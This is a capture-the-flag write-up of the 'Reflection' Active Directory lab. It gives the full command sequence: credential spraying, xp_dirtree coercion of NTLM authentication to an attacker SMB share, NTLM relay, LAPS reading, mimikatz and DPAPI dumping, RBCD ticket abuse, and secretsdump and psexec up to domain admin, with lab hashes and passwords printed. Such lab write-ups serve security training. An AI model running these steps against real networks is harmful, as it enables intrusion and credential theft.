Reflection is an AD chain composed of 3 machines MS01, WS01 and DC01. It involves NTLM Relaying, exploiting LAPS and Resource-Based Constrained Delegation.

Scan for DC01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-29 17:42:03Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: reflection.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: reflection.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49673/tcp open  msrpc         Microsoft Windows RPC
49684/tcp open  msrpc         Microsoft Windows RPC
64140/tcp open  msrpc         Microsoft Windows RPC
64155/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Scan for MS01

1
2
3
4
5
6
7
8
9
10
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49668/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Scan for WS01

1
2
3
4
5
6
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5040/tcp open  unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Started by getting access to the staging_db.conf file inside the stagingarea share on MS01, with the following credentials

MSSQL enumeration

Using crackmapexec we spray the credentials for the MSSQL service, as follows:

1
crackmapexec mssql 10.10.159.85-87 -u 'web_staging' -p 'Washroom510' --local-auth

Having access to MS01 as the web_staging user, we authenticate to the MSSQL server with his credentials

1
impacket-mssqlclient 'web_staging':'Washroom510'@10.10.139.6

Enumerating the MSSQL server as our current user, we can see that we are running as guest, and got the version of the server running

We also stumbled upon the database “staging” and displayed the users table credentials

Running xp_cmdshell is not allowed for our current user

So, in this case we will be relying on the NTLM Stealing technique which consists on establishing a connection from the MSSQL server to authenticate to a self-hosted smb server in order to capture the current user’s hash

To do it, we need to:

  1. xp_dirtree '\\10.8.4.76\share' specifying our IP and name of the share
  2. Run responder or smbserver.py from impacket and wait for the connection to be established giving the following output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[SMB] NTLMv2-SSP Client   : 10.10.200.166
[SMB] NTLMv2-SSP Username : REFLECTION\svc_web_staging
[SMB] NTLMv2-SSP Hash     : svc_web_staging::REFLECTION:34de597976641b30:3D886C0C1FE53C29C1BFD8B35B898865:010100000000000000AAA0D4F82DDB01E1783CE2367A266A0000000002000800440055005400310001001E00570049004E002D005200540056004D00440050003300510047004900340004003400570049004E002D005200540056004D0044005000330051004700490034002E0044005500540031002E004C004F00430041004C000300140044005500540031002E004C004F00430041004C000500140044005500540031002E004C004F00430041004C000700080000AAA0D4F82DDB010600040002000000080030003000000000000000000000000030000085428B22D3204F1485F8259B119B0BFE483B5A72F0816737E120CBB0A54D079D0A0010000000000000000000000000000000000009001C0063006900660073002F00310030002E0038002E0034002E00370036000000000000000000  

````

## NTLM Relaying

Trying to crack the hash with hashcat takes a long time. Another way to use these credentials is to relay them.

First, we setup the ntlm relay targeting ``DC01`` 

```bash
ntlmrelayx.py -tf targets.txt -smb2support -socks

Then, we use xp_dirtree on the mssql server to authenticate to the smb server hosted on our local machine

And, We uncomment the socks4 line on the /etc/proxychains4.conf file

Then relying on the socks proxy we setup, we relayed the credentials to the smb server on the DC machine: 

1
proxychains smbclient -L \\\\10.10.139.5 -U "Reflection/svc_web_staging"

We decide to list for the uncommon prod share that revealed additional credentials for a database

1
proxychains smbclient //10.10.139.5/prod -U "Reflection/svc_web_staging"

We use these credentials to authenticate to the other MSSQL database on DC01

1
mssqlclient.py 'web_prod':'Tribesman201'@10.10.139.5

Having access to the MSSQL instance, we started by listing the available databases and found a prod database

Listing the users table inside that database gave us access to 2 credentials

The first credential for abbie.smith is valid while the other one is invalid

Domain enumeration

Having valid domain credentials, the next step is to enumerate the domain reflection.vl, as follows:

1
bloodhound-python -u "abbie.smith" -p "CMe1x+nlRaaWEw" -d reflection.vl -c all -v -ns 10.10.139.5 --zip

As we can see, Abbie.smith has Generic All on the MS01 machine, which allows to perform RBCD

LAPS

1
impacket-addcomputer -computer-name 'TEST$' -computer-pass 'Password_123' -dc-ip 10.10.139.5 'reflection.vl'/'abbie.smith':'CMe1x+nlRaaWEw' -dc-host 'DC01.reflection.vl'

When trying to add a new computer to the domain, we get an machine account quota exceeded error message.

We can check the MachineAccountQuota by doing: 

1
crackmapexec ldap 10.10.139.5 -u abbie.smith -p "CMe1x+nlRaaWEw" --kdcHost 10.10.139.5 -M maq

However, when we return to our bloodhound enumeration, MS01 has LAPS enabled used for storing the local administrator’s account password of the machine and only accessible to users who have been granted permission through ACLs.

This will allow us as abbie.smith to list the LAPS password as follows:

1
crackmapexec ldap 10.10.139.5 -u abbie.smith -p "CMe1x+nlRaaWEw" --kdcHost 10.10.139.5 -M laps

MS01

Having the password of the MS01 administrator account, we can get the initial foothold into that machine

1
evil-winrm  -u "MS01\administrator" -p "H447.++h6g5}xi" -i 10.10.139.6

We can get the flag.txt on the Administrator’s folder.

1
psexec.py "MS01/administrator":"H447.++h6g5}xi"@10.10.139.6 -target-ip 10.10.139.6

Then using mimikatz, we dump the NTLM hash of MS01$ computer account


MS01$:59772949b28167c1396bd060c40cb531

Doing vault::list with mimikatz also revealed that REFLECTION\Georgia.Price was stored within a Windows vault

So using nxc, we can dump the DPAPI secrets

1
nxc smb 10.10.166.198 -u "administrator" -p "H447.++h6g5}xi" --local-auth --dpapi

Having owned Georgia.Price , we can see that this user has Generic All on WS01 which allows to perform RBCD, knowing that we also owned MS01

RBCD

We start by setting up the delegation so that MS01$ can delegate to WS01$ 

1
impacket-rbcd -delegate-from 'MS01$' -delegate-to 'WS01$' -action 'write' 'reflection.vl/Georgia.Price:DBl+5MPkpJg5id'

Now that we delegated access to WS01$, we can impersonate the administrator for CIFS service by requesting a service ticket for it :

1
impacket-getST -spn 'cifs/WS01.reflection.vl' -impersonate 'Administrator' -hashes ':59772949b28167c1396bd060c40cb531' 'reflection.vl/MS01$'

We reference the service ticket ccache file to KRB5CCNAME 

1
export KRB5CCNAME=$PWD/Administrator@cifs_WS01.reflection.vl@REFLECTION.VL.ccache

We can then dump secrets using the WS01\Administrator ccache file

1
secretsdump.py administrator@WS01.reflection.vl -k -no-pass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x7ed33ac4a19a5ea7635d402e58c0055f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29542cb2707bf6d6c1d2c9311b0ff02:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:236728438532f0f1a57360173bda0575:::
labadm:1001:aad3b435b51404eeaad3b435b51404ee:a29542cb2707bf6d6c1d2c9311b0ff02:::
[*] Dumping cached domain logon information (domain/username:hash)
REFLECTION.VL/Rhys.Garner:$DCC2$10240#Rhys.Garner#99152b74dac4cc4b9763240eaa4c0e3d
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:60f93183d65f38d1de7a4c25fa3caad6a636c4b25621df952bdaa9a6748d02507850c8418a57cbaaf69ada93d7fccf6622c7045af9f6b8bd58d260418198ad6b138bda0617d50aecbe5e8bb14495ab5664db4c2c2979e6bae81cbf4fe0c4e9529ef5e56cf022e71fb22f500f7854f6e3e623c3554f9e56875a6db7e34c8eda7e016443e0db1aee11fc08652707d7861d0dd5153d6c6c8482094b4db82588f53a74bce99903fe5b9b4ba4d1b1b814edb4b39bb3be2e31bdaad786cc709f18d558da6e0389bf989ce59e98209ec1a56b85254cd4a2c66b9518ee8d9eed00e7251232f0e9668eeb98fba14b83edf4cd950f
REFLECTION\WS01$:aad3b435b51404eeaad3b435b51404ee:eceb090f6618bc7094f17eefbb07c0d0:::
[*] DefaultPassword 
reflection.vl\Rhys.Garner:knh1gJ8Xmeq+uP
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xe7b434bbb2fe36946ecafdfab07d4396c039c6e8
dpapi_userkey:0xf772db3cfa86d2d96caf0fc57946c6e7c17511eb
[*] NL$KM 
 0000   DE AA F4 50 81 29 7C 82  0D 6F F2 2D 08 8B A2 7A   ...P.)|..o.-...z
 0010   7D 46 9F 66 C3 8F D4 9A  FA DB D2 9D 56 9A 79 28   }F.f........V.y(
 0020   10 1F 8F 40 B4 EB 04 6F  42 8F 37 02 7E E5 85 93   ...@...oB.7.~...
 0030   00 9C 28 46 DE 39 3F BB  78 90 E7 C8 AB 3A 75 D1   ..(F.9?.x....:u.
NL$KM:deaaf45081297c820d6ff22d088ba27a7d469f66c38fd49afadbd29d569a7928101f8f40b4eb046f428f37027ee58593009c2846de393fbb7890e7c8ab3a75d1

We found in the output the password of another domain user reflection.vl\Rhys.Garner:knh1gJ8Xmeq+uP which could help us afterwards.

WS01

But before, we get our foothold into the WS01 machine

1
impacket-psexec WS01/Administrator@10.10.166.199 -hashes ":a29542cb2707bf6d6c1d2c9311b0ff02"

Having access to WS01 as the local admin, we found the flag on Rhys.Garner Desktop folder

DC01

Searching for Rhys.Garner user on bloodhound didn’t help us find the next step to become DA. However, another user has the same last name DOM_RGARNER :

And to our surprise that other user DOM_RGARNER has the same password and is a domain admin.

So, the next step is to get a foothold into the DC

1
impacket-psexec reflection.vl/DOM_RGARNER:"knh1gJ8Xmeq+uP"@10.10.166.197

And we get the last flag